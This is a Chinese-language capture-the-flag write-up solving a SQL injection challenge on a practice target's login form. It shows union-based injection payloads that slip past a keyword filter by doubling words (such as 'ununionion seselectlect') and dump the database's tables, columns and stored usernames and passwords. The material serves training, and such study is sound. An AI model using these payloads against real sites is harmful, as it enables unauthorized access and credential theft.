解题思路
打开靶场,熟悉的页面,提示做了严格的过滤。
先判断下闭合,输入
1'1'
123
回显
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' and password='123'' at line 1
消失了一个1,说明我们的第一个1'闭合了前面的语句形成正确的语句了,去掉报错语句自动添加的单引号,显然账号和密码的闭合都是单引号了
先尝试永真登录
1' or 1 #
1' or 1 #
回显
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1 #' and password='1' 1 #'' at line 1
发现or没有了,结合提示的做了严格的过滤,是把我们or给过滤掉了,后续可以发现select、union、by都被过滤了 ,尝试下替换绕过,把or替换成||绕过进行永真登录
1' || 1 #
回显跟上次一样,没什么有用的信息,只能继续注入
因为select、union都被过滤了,只能尝试绕过,这里大小写绕过尝试了不行,但是双写绕过是可以的,,这里使用Select暴列,也可以使用常规的order by,由于or 和 by被过滤,因此双写为 oorrder bbyy
1' ununionion seselectlect 1,2,3,4#
1' ununionion seselectlect 1,2,3#
跟love sql一样的,是三列,并且23有回显
然后是爆数据库
1' ununionion seselectlect 1,2,database()#
爆表
1' ununionion seselectlect group_concat(table_name) from information_schema.tables where table_schema=database() #
回显
ou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '.tables table_schema=database() #' and password='123'' at line 1
可以发现where被过滤,多次探测可知from、information也被过滤了,都要进行双写操作
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() #
可以看到查到两个表,按照作者之前题目的尿性,直接查第一个表就行,然后查的时候发现and也过滤了,用&&就行:
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() && table_name='b4bsql'#
然后查看所有内容,这里password也有or,所以也得双写
1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
回显,然后查看源码即可
总结
说难也不难,说简单也挺麻烦,主要是要测一下哪些字符被过滤了,然后明白双写绕过即可,or这个比较坑...最后password也有or好好好